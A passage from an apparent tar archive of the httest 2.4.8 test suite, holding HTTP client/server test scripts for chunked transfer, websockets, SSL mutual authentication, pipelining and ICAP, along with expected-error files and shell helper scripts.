__Content-Type: text/html __ _-Start of line _PIPE _EXEC printf "`date`" __ End of line __ _RES _WAIT __HTTP/1.1 200 OK __Content-Type: text/html __Transfer-Encoding: chunked __ _FLUSH _PIPE chunked 30 _EXEC ls -al _PIPE chunked 30 _EXEC echo Hallo __ __0 __ END httest-2.4.8/test/headers_allow.htt0000664000175100017510000000061712141535454014306 00000000000000INCLUDE $TOP/test/config.htb CLIENT _HEADER ALLOW Content-Length _HEADER ALLOW Content-Type _REQ $YOUR_HOST $YOUR_PORT __GET /your/path/to/your/resource?your=params HTTP/1.1 __Host: $YOUR_HOST __User-Agent: mozilla __ _EXPECT ERROR "Internal error" _WAIT END SERVER $YOUR_PORT _RES _WAIT __HTTP/1.1 200 OK __Content-Length: AUTO __Content-Type: text/html __Foobar: foo __ __==AS1== __ END httest-2.4.8/test/websocket_mask.htt0000664000175100017510000000243012203674100014460 00000000000000REQUIRE_MODULE LUA INCLUDE $TOP/test/config.htb SET 10K=$1K$1K$1K$1K$1K$1K$1K$1K$1K$1K SET 100K=$10K$10K$10K$10K$10K$10K$10K$10K$10K$10K BLOCK:LUA WebsocketAccept websocketKey : result return crypto.base64.encode(crypto.evp.digest("sha1", websocketKey.."258EAFA5-E914-47DA-95CA-C5AB0DC85B11", true)) END CLIENT _REQ $YOUR_HOST $YOUR_PORT __GET / HTTP/1.1 __Host: $YOUR_HOST:$YOUR_PORT __Upgrade: websocket __Connection: Upgrade __Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ== __Origin: http://$YOUR_HOST:$YOUR_PORT __Sec-WebSocket-Protocol: chat, superchat __Sec-WebSocket-Version: 13 __ _EXPECT headers "Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK\+xOo=" _WAIT _EXPECT . "BeGiN.*EnD" _WS:RECV OP LEN _ASSERT "$LEN == 27" _EXPECT . "begin.*end" _WS:RECV OP LEN _ASSERT "$LEN == 102410" _CLOSE END SERVER $YOUR_PORT _RES _MATCH headers "Sec-WebSocket-Key: (.*)" WebsocketKey _WAIT __HTTP/1.1 101 Switching Protocols __Upgrade: websocket __Connection: Upgrade #__Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo= __Sec-WebSocket-Accept: $WebsocketAccept($WebsocketKey) __Sec-WebSocket-Protocol: chat __ _FLUSH _WS:SEND TEXT AUTO "BeGiN ................. EnD" 0x12345678 _WS:SEND TEXT AUTO "begin $100K end" 0x12345678 _CLOSE END httest-2.4.8/test/ignore_body.htt0000664000175100017510000000134312141535454013772 00000000000000INCLUDE $TOP/test/config.htb CLIENT _IGNORE_BODY on _LOOP 10 _REQ $YOUR_HOST $YOUR_PORT __GET /your/path/to/your/resource?your=params HTTP/1.1 __Host: $YOUR_HOST __User-Agent: mozilla __ _EXPECT . "HTTP/1.1 200 OK" _EXPECT body "!Invisible" _WAIT _END LOOP _CLOSE _LOOP 10 _REQ $YOUR_HOST $YOUR_PORT __GET /your/path/to/your/resource?your=params HTTP/1.1 __Host: $YOUR_HOST __User-Agent: mozilla __ _EXPECT . "HTTP/1.1 200 OK" _EXPECT body "!Invisible" _WAIT _END LOOP END SERVER $YOUR_PORT _LOOP 10 _RES _WAIT __HTTP/1.1 200 OK __Content-Length: AUTO __ __Invisible __${1K}${1K} _END LOOP _CLOSE _LOOP 10 _RES _WAIT __HTTP/1.1 200 OK __Transfer-Encoding: chunked _FLUSH __Invisible _-${1K} _CHUNK __${1K} _CHUNK _CHUNK _END LOOP END httest-2.4.8/test/ssl_get_cert.txt0000664000175100017510000000032212203674077014167 00000000000000 ssl_get_cert.hte:21: error: Handshake failed: error:140890C7:SSL routines:SSL3_GET_CLIENT_CERTIFICATE:peer did not return a certificate ssl_get_cert.hte:14: error: CLT0-0 Software caused connection abort(103) httest-2.4.8/test/socks_domain_name.htt0000664000175100017510000000125412203674077015150 00000000000000# ssh key login must be configured for current user at localhost # mac: Remote Login (=ssh/sftp) must be activated under System Preferences => Sharing @:SKIP $OS win # works with cygwin sshd installed except _EXEC pid/kill stuff INCLUDE $TOP/test/config.htb DAEMON _EXEC ssh -ND localhost:${SOCKS_PORT} localhost & echo $! > /tmp/socks.pid END CLIENT _SLEEP 2000 _REQ $YOUR_HOST $SOCKS_PORT _SOCKS:CONNECT localhost $YOUR_PORT __GET /your/path/to/your/resource?your=params HTTP/1.1 __Host: $YOUR_HOST __ _WAIT END SERVER $YOUR_PORT _RES _WAIT __HTTP/1.1 200 OK __Content-Length: AUTO __ __== OK == END BLOCK FINALLY _EXEC kill `cat /tmp/socks.pid` 2>/dev/null >/dev/null END httest-2.4.8/test/dummy7.htb0000664000175100017510000000001212141535454012662 00000000000000SET FOO=1 httest-2.4.8/test/var_match.hte0000664000175100017510000000012112141535454013410 00000000000000CLIENT _SET TMP=Foo bar _MATCH VAR(TMP) "(^Do not match TMP variable$)" TMP2 END httest-2.4.8/test/dummy9.htb0000664000175100017510000000001212141535454012664 00000000000000SET FOO=1 httest-2.4.8/test/unused_match_dot.txt0000664000175100017510000000013112203674077015035 00000000000000 unused_match_dot.hte:2: error: There are unused MATCH . httest-2.4.8/test/inline.htt0000664000175100017510000000143412141535454012751 00000000000000INCLUDE $TOP/test/config.htb BLOCK _FOO BAR : RET _SET RET=$BAR world END BLOCK STUFF : OUT _SET OUT=bla bla bla bla bla bla bla END CLIENT _REQ $YOUR_HOST $YOUR_PORT __GET /your/path/to/your/resource?your=params HTTP/1.1 __Host: $YOUR_HOST __ _EXPECT body "hello world" _EXPECT body "!hello world\)" _EXPECT body "foo\+bar" _EXPECT body "!foo\+bar\)" _EXPECT body "bla bla bla bla bla bla bla" _EXPECT body "!bla bla bla bla bla bla bla\)" _EXPECT body "!bla bla bla bla bla bla bla\}" _EXPECT body "DONOTEXISTCOMMAND" _EXPECT body "!_CODER" _EXPECT body "!_FOO" _WAIT END SERVER $YOUR_PORT _FOO "foo" BAR _RES _WAIT __HTTP/1.1 200 OK __Content-Length: AUTO __ __== $_FOO("hello") == __== ${_FOO("hallo")} == __== $_CODER:URLENC("foo bar") == __${STUFF()} __${DONOTEXISTCOMMAND()} END httest-2.4.8/test/ssl_mutual.hte0000664000175100017510000000044212141535454013642 00000000000000INCLUDE $TOP/test/config.htb # runs exactly one time CLIENT # also test if we could load cert and key in a client _REQ $YOUR_HOST SSL:$YOUR_PORT client.cert.pem client.key.pem _SSL:RENEG_CERT verify END SERVER SSL:$YOUR_PORT _CERT server.cert.pem server.key.pem ca.cert.pem _RES END httest-2.4.8/test/variables.htt0000664000175100017510000000075412141535454013447 00000000000000INCLUDE $TOP/test/config.htb SET TEST=Hallo Welt SET TESTTEST= He Ho # runs exactly one time CLIENT _REQ $YOUR_HOST $YOUR_PORT __GET /your/path/to/your/resource?your=params HTTP/1.1 __Host: $YOUR_HOST __User-Agent: mozilla __ _EXPECT . "HTTP/1.1 200 OK" _EXPECT . "Hallo Welt.foobar He Ho" _EXPECT . "Hallo Welt He Ho2" _WAIT END SERVER $YOUR_PORT _RES _WAIT __HTTP/1.1 200 OK __Content-Length: AUTO __Content-Type: text/html __ __$TEST.foobar$TESTTEST __${TEST}${TESTTEST}2 __ END httest-2.4.8/test/ssl_mutual.htt0000664000175100017510000000177512141535454013673 00000000000000INCLUDE $TOP/test/config.htb # runs exactly one time CLIENT # also test if we could load cert and key in a client _REQ $YOUR_HOST SSL:$YOUR_PORT client.cert.pem client.key.pem ca.cert.pem _RENEG verify _SSL:GET_CERT_VALUE M_VERSION VERSION __POST /your/path/to/your/resource?your=params HTTP/1.1 __Host: $YOUR_HOST __User-Agent: mozilla __Content-Length: AUTO __ __Cert version $VERSION _EXPECT . "HTTP/1.1 200 OK" _WAIT _REQ $YOUR_HOST SSL:$YOUR_PORT client.cert.pem client.key.pem ca.cert.pem __GET /your/path/to/your/resource?your=params HTTP/1.1 __Host: $YOUR_HOST __User-Agent: mozilla __ _EXPECT . "HTTP/1.1 200 OK" _WAIT END SERVER SSL:$YOUR_PORT _SSL:TRACE _RES server.cert.pem server.key.pem ca.cert.pem _EXPECT body "Cert version 3" _WAIT _SSL:RENEG_CERT verify __HTTP/1.1 200 OK __Content-Length: AUTO __Content-Type: text/html __ __==AS1 - 0== __ _RES server.cert.pem server.key.pem ca.cert.pem _WAIT __HTTP/1.1 200 OK __Connection: close __Content-Type: text/html __ __==AS1 - 0== __ _CLOSE END httest-2.4.8/test/_wrapper_test.sh0000775000175100017510000000152712203674077014176 00000000000000#!/bin/bash SCRIPT=$1 TOP=.. export TOP HTT_ERRORS=0 PFX=. errors=0 set +e COPY=0 ls *.htt >/dev/null 2>/dev/null if [ $? -ne 0 ]; then cp ../../test/*.txt . cp ../../test/*.visual . cp ../../test/*.ntlm . cp ../../test/*.htt . cp ../../test/*.hte . cp ../../test/*.htb . cp ../../test/*.pem . cp ../../test/run.sh . cp ../../macros/*.htb ../macros/. PFX=../../test COPY=1 fi # start testing echo . $PFX/$SCRIPT rm -f tmp.txt if [ $COPY -ne 0 ]; then rm -f .out.txt rm -f *.log rm -f *.txt rm -f *.ntlm rm -f *.visual rm -f *.htt rm -f *.hte rm -f *.htb rm -f *.pem rm -f run.sh rm -f ../macros/*.htb fi cores=`ls core* 2>/dev/null | wc -l` if [ $errors -ne 0 -o $cores -ne 0 ]; then if [ $cores -gt 0 ]; then echo $cores coredumps fi echo "Failed" exit 1 else echo "Success" exit 0 fi httest-2.4.8/test/error_body.hte0000664000175100017510000000037112141535454013621 00000000000000INCLUDE $TOP/test/config.htb CLIENT _ERROR "End of file found" _REQ $YOUR_HOST $YOUR_PORT __GET /your/path/to/your/resource?your=params HTTP/1.1 __Host: $YOUR_HOST __ _EXPECT . "OK" _WAIT _END END SERVER $YOUR_PORT _RES _WAIT END httest-2.4.8/test/finally_on_failed.txt0000664000175100017510000000007712203674077015157 00000000000000 finally_on_failed.hte:12: error: CLT0-0 Internal error(20014) httest-2.4.8/test/include.htt0000664000175100017510000000047712141535454013124 00000000000000INCLUDE $TOP/test/config.htb INCLUDE $TOP/test/dummy.htb INCLUDE $TOP/test/dummy2.htb INCLUDE $TOP/test/dummy3.htb INCLUDE $TOP/test/dummy4.htb INCLUDE $TOP/test/dummy5.htb INCLUDE $TOP/test/dummy6.htb INCLUDE $TOP/test/dummy7.htb INCLUDE $TOP/test/dummy8.htb INCLUDE $TOP/test/dummy9.htb CLIENT _DEBUG Until here END httest-2.4.8/test/run_valgrind.sh0000775000175100017510000000126512141535454014005 00000000000000#!/bin/bash if [ -z $srcdir ]; then srcdir=. fi . $srcdir/run_lib.sh function run_single { E=$1 OUT=$2 HTTEST_PRE="valgrind --log-file=/tmp/tmp.txt --leak-check=full --track-origins=yes" export HTTEST_PRE B=`echo $E | sed -e 's/\(.*\)\.valgrind/\1/'` if [ -f $B.valgrind ]; then ./run.sh $B.htt >/dev/null 2>/dev/null lines=`wc -l $B.valgrind | awk '{ print $1 }'` tail -n ${lines} /tmp/tmp.txt | sed -e 's/==[0-9]*==//' >/tmp/tmp2.txt cat $B.valgrind | sed -e 's/==[0-9]*==//' >/tmp/tmp3.txt diff /tmp/tmp2.txt /tmp/tmp3.txt else printf "SKIP" fi } echo valgrind tests LIST=`ls *.valgrind` COUNT=`ls *.valgrind | wc -l` run_all "$LIST" $COUNT httest-2.4.8/test/threaded_server.htt0000664000175100017510000000252012141535454014636 00000000000000SET MAX_DURATION=300000 INCLUDE $TOP/test/config.htb SET CONCURRENT=15 CLIENT $CONCURRENT _SET DATA=initial _RAND 1 120 COUNT _REQ $YOUR_HOST $YOUR_PORT __POST /setup HTTP/1.1 __Host: $YOUR_HOST __User-Agent: mozilla __Content-Length: AUTO __ __Count: $COUNT __$1K$1K$1K$1K$1K$1K$1K$1K __$1K$1K$1K$1K$1K$1K$1K$1K __$1K$1K$1K$1K$1K$1K$1K$1K __$1K$1K$1K$1K$1K$1K$1K$1K _WAIT _LOOP $COUNT _REQ $YOUR_HOST $YOUR_PORT __GET /your/path/to/your/resource?your=params HTTP/1.1 __Host: $YOUR_HOST __User-Agent: mozilla __Data: $DATA __ _MATCH headers "DATA=(.*)" DATA _EXPECT . "HTTP/1.1 200 OK" _EXPECT . "AS1" _WAIT _END LOOP _CLOSE END SERVER $YOUR_PORT $CONCURRENT _RES _MATCH body "Count: (.*)" COUNT _WAIT __HTTP/1.1 200 OK __Content-Length: AUTO __Content-Type: text/html __ __Ok _LOOP $COUNT _RAND 1 10000000 RAND_DATA _RES _WAIT __HTTP/1.1 200 OK __Content-Length: AUTO __Content-Type: text/html __Set-Data: DATA=1234567890abcdefghijklmnopqrstuvwxyz$RAND_DATA __ __$1K$1K$1K$1K$1K$1K$1K$1K __$1K$1K$1K$1K$1K$1K$1K$1K __$1K$1K$1K$1K$1K$1K$1K$1K __$1K$1K$1K$1K$1K$1K$1K$1K __$1K$1K$1K$1K$1K$1K$1K$1K __$1K$1K$1K$1K$1K$1K$1K$1K __$1K$1K$1K$1K$1K$1K$1K$1K __$1K$1K$1K$1K$1K$1K$1K$1K __$1K$1K$1K$1K$1K$1K$1K$1K __$1K$1K$1K$1K$1K$1K$1K$1K __$1K$1K$1K$1K$1K$1K$1K$1K __$1K$1K$1K$1K$1K$1K$1K$1K __$1K$1K$1K$1K$1K$1K$1K$1K __==AS1 - 0== __ _END LOOP END httest-2.4.8/test/unused_match_body.txt0000664000175100017510000000013112203674077015204 00000000000000 unused_match_body.hte:2: error: There are unused MATCH body httest-2.4.8/test/expect_header_not_body.txt0000664000175100017510000000026212203674077016212 00000000000000 expect_header_not_body.hte:11: error: EXPECT body: Did not expect "Bar" expect_header_not_body.hte:11: error: CLT0-0 Invalid argument(22) httest-2.4.8/test/pipelining_request.htt0000664000175100017510000000151112203674077015401 00000000000000INCLUDE $TOP/test/config.htb CLIENT _REQ $YOUR_HOST $YOUR_PORT __GET /your/path/to/your/resource?your=params HTTP/1.1 __Host: $YOUR_HOST __ _FLUSH _REQ $YOUR_HOST $YOUR_PORT __GET /your/path/to/your/resource?your=params HTTP/1.1 __Host: $YOUR_HOST __ _FLUSH _REQ $YOUR_HOST $YOUR_PORT __GET /your/path/to/your/resource?your=params HTTP/1.1 __Host: $YOUR_HOST __ _FLUSH _EXPECT body "OK 0" _EXPECT body "!OK 1" _EXPECT body "!OK 2" _WAIT _EXPECT body "!OK 0" _EXPECT body "OK 1" _EXPECT body "!OK 2" _WAIT _EXPECT body "!OK 0" _EXPECT body "!OK 1" _EXPECT body "OK 2" _WAIT END SERVER $YOUR_PORT _RES _SOCKET _WAIT __HTTP/1.1 200 OK __Content-Length: AUTO __ __== OK 0 == _RES _WAIT __HTTP/1.1 200 OK __Content-Length: AUTO __ __== OK 1 == _RES _WAIT __HTTP/1.1 200 OK __Content-Length: AUTO __ __== OK 2 == _END SOCKET END httest-2.4.8/test/block_js.htt0000664000175100017510000000026412141535454013261 00000000000000REQUIRE_MODULE JS INCLUDE $TOP/test/config.htb BLOCK:JS myVeryFirstJsScript : ret // JavaScript return "Hello World"; END CLIENT myVeryFirstJsScript foo _DEBUG $foo END httest-2.4.8/test/inline_not_exist.visual0000664000175100017510000000020112203674077015544 00000000000000run inline_not_exist.htt CLT0-0 start ... _SET foo=$foo(blabla) OK httest-2.4.8/test/unused_match_headers.txt0000664000175100017510000000013112203674077015662 00000000000000 unused_match_headers.hte:2: error: There are unused MATCH headers httest-2.4.8/test/var_match.htt0000664000175100017510000000013512141535454013434 00000000000000CLIENT _SET TMP=Foo bar _MATCH VAR(TMP) "(^Foo bar$)" TMP2 _EXPECT VAR(TMP2) "^Foo bar$" END httest-2.4.8/test/chunk.htt0000664000175100017510000000171012141535454012600 00000000000000INCLUDE $TOP/test/config.htb SET YOUR_PORT=9090 CLIENT _REQ $YOUR_HOST $YOUR_PORT __GET /your/path/to/your/resource?your=params HTTP/1.1 __Host: $YOUR_HOST __User-Agent: mozilla __ _EXPECT . "HTTP/1.1 200 OK" _EXPECT . "BEGIN" _EXPECT . "AS1" _EXPECT . "END" # make output stable for visual test _SYS:SLEEP 500 _WAIT _REQ $YOUR_HOST $YOUR_PORT __GET /your/path/to/your/resource?your=params HTTP/1.1 __Host: $YOUR_HOST __User-Agent: mozilla __ _EXPECT headers "HTTP/1.1 200 OK" _EXPECT body "BEGIN" _EXPECT body "AS2" _EXPECT body "END" _EXPECT headers "Trailing1: Stuff" _EXPECT headers "Trailing2: Stuff" # make output stable for visual test _SYS:SLEEP 500 _WAIT END SERVER $YOUR_PORT _RES _WAIT __HTTP/1.1 200 OK __Transfer-Encoding: chunked _FLUSH __BEGIN _CHUNK __AS1 _CHUNK __END _CHUNK _CHUNK __ _RES _WAIT __HTTP/1.1 200 OK __Transfer-Encoding: chunked _FLUSH __BEGIN _CHUNK __AS2 _CHUNK __END _CHUNK _CHUNK __Trailing1: Stuff __Trailing2: Stuff __ END httest-2.4.8/test/time.htt0000664000175100017510000000101312141535454012422 00000000000000INCLUDE $TOP/test/config.htb # runs exactly one time CLIENT _REQ $YOUR_HOST $YOUR_PORT __GET /your/path/to/your/resource?your=params HTTP/1.1 __Host: $YOUR_HOST __User-Agent: mozilla __ _EXPECT . "HTTP/1.1 200 OK" _EXPECT . "AS1" _EXPECT . "Date: [MDWTFS][a-z]{2,2}, [0-9]{2,2} [JFMAJASOND][a-z]{2,2} [0-9]{4,4} [0-9]{2,2}:[0-9]{2,2}:[0-9]{2,2} GMT" _WAIT END SERVER $YOUR_PORT _RES _WAIT __HTTP/1.1 200 OK _TIME TIME _STRFTIME $TIME "%a, %d %b %Y %H:%M:%S GMT" DATE __Date: $DATE __Content-Length: AUTO __ __AS1 END httest-2.4.8/test/expect_header_not_body.hte0000664000175100017510000000045412141535454016152 00000000000000INCLUDE $TOP/test/config.htb CLIENT _REQ $YOUR_HOST $YOUR_PORT __GET /your/path/to/your/resource?your=params HTTP/1.1 __Host: $YOUR_HOST __ _EXPECT headers "Bar" _EXPECT body "!Bar" _WAIT END SERVER $YOUR_PORT _RES _WAIT __HTTP/1.1 200 OK __Foo: Bar __Content-Length: AUTO __ __== Bar == END httest-2.4.8/test/store.htt0000664000175100017510000000017612141535454012631 00000000000000SET MAX_DURATION=240000 INCLUDE $TOP/test/config.htb CLIENT _SET FOO=0 _LOOP 1000000 _MATH:EVAL "$FOO + 1" FOO _END LOOP END httest-2.4.8/test/ssl_get_cert.htt0000664000175100017510000000077012141535454014152 00000000000000INCLUDE $TOP/test/config.htb # runs exactly one time CLIENT _REQ $YOUR_HOST SSL:$YOUR_PORT client.cert.pem client.key.pem __GET /your/path/to/your/resource?your=params HTTP/1.1 __Host: $YOUR_HOST __User-Agent: mozilla __ _EXPECT . "HTTP/1.1 200 OK" _WAIT END SERVER SSL:$YOUR_PORT _RES server.cert.pem server.key.pem ca.cert.pem _WAIT _SSL:RENEG_CERT _SSL:GET_CERT_VALUE M_VERSION VERSION _DEBUG $VERSION __HTTP/1.1 200 OK __Content-Length: AUTO __Content-Type: text/html __ __==AS1 - 0== __ END httest-2.4.8/test/ssl_server_cert_verify.htt0000664000175100017510000000107712141535454016266 00000000000000INCLUDE $TOP/test/config.htb # runs exactly one time CLIENT _SSL:SET_CA ca.cert.pem # also test if we could load cert and key in a client _REQ $YOUR_HOST SSL:$YOUR_PORT _RENEG verify _SSL:GET_CERT_VALUE M_VERSION version _SSL:GET_CERT_VALUE S_DN dn __POST /your/path/to/your/resource?your=params HTTP/1.1 __Host: $YOUR_HOST __User-Agent: mozilla __Content-Length: AUTO __ __Cert version $version __den $dn _EXPECT . "HTTP/1.1 200 OK" _WAIT END SERVER SSL:$YOUR_PORT _RES _WAIT __HTTP/1.1 200 OK __Content-Length: AUTO __Content-Type: text/html __ __==AS1 - 0== __ END httest-2.4.8/test/ssl_mutual2.txt0000664000175100017510000000045712203674077013775 00000000000000 ssl_mutual2.hte:23: error: Handshake failed: error:140890B2:SSL routines:SSL3_GET_CLIENT_CERTIFICATE:no certificate returned ssl_mutual2.hte:23: error: No peer certificate ssl_mutual2.hte:23: error: SRV0-0 Permission denied(13) httest-2.4.8/test/match.hte0000664000175100017510000000060412141535454012546 00000000000000INCLUDE $TOP/test/config.htb # runs exactly one time CLIENT _REQ $YOUR_HOST $YOUR_PORT __GET /your/path/to/your/resource?your=params HTTP/1.1 __Host: $YOUR_HOST __User-Agent: mozilla __ _EXPECT . "HTTP/1.1 200 OK" _MATCH body "AS(.) - (.)==" NUM MIN _WAIT END SERVER $YOUR_PORT _RES _WAIT __HTTP/1.1 200 OK __Content-Length: AUTO __Content-Type: text/html __ __==AS1 - == __ END httest-2.4.8/test/embedded_sh_pipe.htt0000664000175100017510000000063212141535454014732 00000000000000INCLUDE $TOP/test/config.htb INCLUDE $TOP/test/shell.htb CLIENT _REQ $YOUR_HOST $YOUR_PORT __GET /your/path/to/your/resource?your=params HTTP/1.1 __Host: $YOUR_HOST __User-Agent: mozilla __ _EXPECT . "HTTP/1.1 200 OK" setShellCommandVars _SH #!/bin/bash _SH $CAT > temp _SH END| _WAIT _EXEC $CAT temp END SERVER $YOUR_PORT _RES _WAIT __HTTP/1.1 200 OK __Content-Length: AUTO __ __==AS1== END FILE temp END httest-2.4.8/test/plain2ssl.htt0000664000175100017510000000102412141535454013375 00000000000000INCLUDE $TOP/test/config.htb # runs exactly one time CLIENT # also test if we could load cert and key in a client _REQ $YOUR_HOST $YOUR_PORT client.cert.pem client.key.pem __GET /your/path/to/your/resource?your=params HTTP/1.1 __Host: $YOUR_HOST __User-Agent: mozilla __ _EXPECT . "HTTP/1.1 200 OK" _WAIT END SERVER SSL:$YOUR_PORT # "unix|windows" _ERROR "Socket operation on non-socket|Unknown error" _RES _WAIT _END ERROR _SSL:CLOSE __HTTP/1.1 200 OK __Content-Length: AUTO __Content-Type: text/html __ __==AS1 - 0== __ END httest-2.4.8/test/wait.htt0000664000175100017510000000104212141535454012432 00000000000000INCLUDE $TOP/test/config.htb CLIENT _REQ $YOUR_HOST $YOUR_PORT __POST /your/path/to/your/resource?your=params HTTP/1.1 __Host: $YOUR_HOST __Content-Length: 10 __ _EXPECT . "== OK ==" _WAIT _REQ $YOUR_HOST $YOUR_PORT __POST /your/path/to/your/resource?your=params HTTP/1.1 __Host: $YOUR_HOST __Content-Length: 10 __ __012345 _EXPECT . "== OK ==" _WAIT END SERVER $YOUR_PORT _RES _WAIT 0 __HTTP/1.1 200 OK __Content-Length: AUTO __ __== OK == _RES _EXPECT . "012345" _WAIT 8 __HTTP/1.1 200 OK __Content-Length: AUTO __ __== OK == END httest-2.4.8/test/icap_100cont.htt0000664000175100017510000000140612141535454013652 00000000000000INCLUDE $TOP/test/config.htb CLIENT _REQ $YOUR_HOST $YOUR_PORT __OPTIONS icap://foo.bar.ch/htt ICAP/1.0 __Host: $YOUR_HOST __ _EXPECT . "ICAP/1.0 200 OK" _WAIT _REQ $YOUR_HOST $YOUR_PORT __REQMOD icap://foo.bar.ch/htt ICAP/1.0 __Host: $YOUR_HOST __Preview: 0 __Encapsulated: req-hdr=0, req-body=120 __ __POST /test/icap/as2/post HTTP/1.1 __Host: sesdev __Content-Length: 50 __Content-Type: application/x-www-form-urlencoded __ _EXPECT . "ICAP/1.0 100 Continue" _WAIT _REQ $YOUR_HOST $YOUR_PORT __a __01234567 __a __01234567 __a __01234567 __a __01234567 __0 __ END SERVER $YOUR_PORT _RES _WAIT __ICAP/1.0 200 OK __Methods: REQMOD, RESPMOD __Transfer-Preview: * __Preview: 0 __ _RES _WAIT __ICAP/1.0 100 Continue __ISTag: "304743912747" __ _RES _RECV CHUNKED END httest-2.4.8/test/block_in_out_params.htt0000664000175100017510000000060712141535454015506 00000000000000INCLUDE $TOP/test/config.htb BLOCK sendreq host url : code text _REQ $host $YOUR_PORT __GET $url HTTP/1.1 __Host: $host __ _MATCH headers "HTTP/1.1 ([0-9]+) (.*)" code text _WAIT END CLIENT sendreq $YOUR_HOST /foo/bar ret_code ret_text _EXPECT VAR(ret_code) "200" _EXPECT VAR(ret_text) "OK" END SERVER $YOUR_PORT _RES _WAIT __HTTP/1.1 200 OK __Content-Length: AUTO __ __== AS1 OK == END httest-2.4.8/test/unused_match_exec.hte0000664000175100017510000000004012141535454015127 00000000000000CLIENT _MATCH exec ".*" FOO END httest-2.4.8/test/ifelse.htt0000664000175100017510000000075512203674077012753 00000000000000INCLUDE $TOP/test/config.htb # runs exactly one time CLIENT _REQ $YOUR_HOST $YOUR_PORT _SET COND=Blub _LOOP 2 _IF "$COND" MATCH "bar" _IF "Bla" MATCH "Fasel" _DEBUG Blub _END __GET /nope HTTP/1.1 _ELSE __GET /yes HTTP/1.1 _END _EXPECT . "AS" __Host: $YOUR_HOST __ _WAIT _SET COND=bar _END LOOP END SERVER $YOUR_PORT _RES _EXPECT . "/yes" _WAIT __HTTP/1.1 200 OK __Content-Length: AUTO __ __AS _RES _EXPECT . "/nope" _WAIT __HTTP/1.1 200 OK __Content-Length: AUTO __ __AS END httest-2.4.8/test/error_match.htt0000664000175100017510000000126612203674077014007 00000000000000@:SKIP $OS mac # sometimes no error printed INCLUDE $TOP/test/config.htb # runs exactly one time CLIENT _REQ $YOUR_HOST $YOUR_PORT __GET /your/path/to/your/resource?your=params HTTP/1.1 __Host: $YOUR_HOST __User-Agent: mozilla __ _CLOSE _SLEEP 1500 _REQ $YOUR_HOST $YOUR_PORT __GET /error HTTP/1.1 __Host: $YOUR_HOST __User-Agent: mozilla __ # "unix|windows" _EXPECT . "Error: Broken pipe\(32\)|established connection was aborted" _WAIT END SERVER $YOUR_PORT _RES _MATCH ERROR "(.*)" MY_ERROR _WAIT _SLEEP 500 __HTTP/1.1 200 OK __Content-Length: AUTO __Content-Type: text/html __ __==AS1 - 0== _CLOSE _RES _WAIT __HTTP/1.1 200 OK __Content-Length: AUTO __ __Error: $MY_ERROR END httest-2.4.8/test/sendfile_chunked.htt0000664000175100017510000000100612141535454014760 00000000000000INCLUDE $TOP/test/config.htb CLIENT _REQ $YOUR_HOST $YOUR_PORT __GET /your/path/to/your/resource?your=params HTTP/1.1 __Host: $YOUR_HOST __User-Agent: mozilla __ _EXPECT . "HTTP/1.1 200 OK" _EXPECT . "BEGIN" _EXPECT . "AS1" _EXPECT . "END" _WAIT END SERVER $YOUR_PORT _RES _WAIT __HTTP/1.1 200 OK __Transfer-Encoding: chunked __Content-Type: text/plain _FLUSH _PIPE CHUNKED 10 _SENDFILE foo.txt _CHUNK _CHUNK END FILE foo.txt _BEGIN _==AS1 OK== _==AS1 OK== _==AS1 OK== _==AS1 OK== _==AS1 OK== _==AS1 OK== _END END httest-2.4.8/test/folded.htt0000664000175100017510000000052112141535454012724 00000000000000INCLUDE $TOP/test/config.htb CLIENT _REQ $YOUR_HOST $YOUR_PORT __GET /your/path/to/your/resource?your=params HTTP/1.1 __Host: $YOUR_HOST __ _EXPECT headers "Folded: foo bar" _EXPECT headers "bla fasel" _WAIT END SERVER $YOUR_PORT _RES _WAIT __HTTP/1.1 200 OK __Content-Length: AUTO __Folded: foo bar __ bla fasel __ __== OK == END httest-2.4.8/test/finally_on_failed2.htt0000664000175100017510000000043712203674077015221 00000000000000INCLUDE $TOP/test/config.htb INCLUDE $TOP/test/shell.htb EXEC echo foo bar >myfile CLIENT _SLEEP 2000 _EXPECT Exec "foo bar" setShellCommandVars _EXEC $CAT myfile END SERVER $YOUR_PORT _SLEEP 3000 _EXEC fail_please END BLOCK FINALLY setShellCommandVars _EXEC $RM myfile _EXIT OK END httest-2.4.8/test/tagged_sockets.htt0000664000175100017510000000045412141535454014462 00000000000000INCLUDE $TOP/test/config.htb CLIENT _REQ $YOUR_HOST $YOUR_PORT:1 __GET / HTTP/1.1 __Host: localhost __ _EXPECT . "AS1" _WAIT _REQ $YOUR_HOST $YOUR_PORT:2 __GET / HTTP/1.1 __Host: localhost __ _EXPECT . "AS1" _WAIT END SERVER 8081 2 _RES _WAIT __HTTP/1.1 200 OK __Content-Length: AUTO __ __AS1 END httest-2.4.8/test/empty.htt0000664000175100017510000000000212141535454012617 00000000000000 httest-2.4.8/test/sync.htt0000664000175100017510000000144112203674077012451 00000000000000@:SKIP $OS win # FIXME hangs until timeout INCLUDE $TOP/test/config.htb BLOCK ManualSetContentLength END # runs exactly one time CLIENT _REQ $YOUR_HOST $YOUR_PORT __GET /your/path/to/your/resource?your=params HTTP/1.1 __Host: $YOUR_HOST __User-Agent: mozilla __ _EXPECT headers "HTTP/1.1 200 OK" _EXPECT body "(0[0-1][0-9])|(99[0-9])" _WAIT _REQ $YOUR_HOST $YOUR_PORT __GET /your/path/to/your/resource?your=params HTTP/1.1 __Host: $YOUR_HOST __User-Agent: mozilla __ _EXPECT headers "HTTP/1.1 200 OK" _EXPECT body ".+ .+ .+ ..:..:00" _WAIT END SERVER $YOUR_PORT _RES _WAIT __HTTP/1.1 200 OK __Content-Length: AUTO __Content-Type: text/html __ _SYNC _TIME T __$T __ _RES _WAIT __HTTP/1.1 200 OK __Content-Length: AUTO __Content-Type: text/html __ _SYNC minute _PIPE _EXEC date __ END httest-2.4.8/test/include.hte0000664000175100017510000000053612141535454013101 00000000000000INCLUDE $TOP/test/config.htb INCLUDE $TOP/test/dummy.htb INCLUDE $TOP/test/dummy2.htb INCLUDE $TOP/test/dummy3.htb INCLUDE $TOP/test/dummy4.htb INCLUDE $TOP/test/dummy5.htb INCLUDE $TOP/test/dummy6.htb INCLUDE $TOP/test/dummy7.htb INCLUDE $TOP/test/dummy8.htb INCLUDE $TOP/test/dummy9.htb INCLUDE $TOP/test/recursiv.htb CLIENT _DEBUG Until here END httest-2.4.8/test/if_local_vars.htt0000664000175100017510000000032212141535454014271 00000000000000 BLOCK foo _LOCAL A B C _SET A=foo _SET B=bar _SET C=bla _IF "$A" 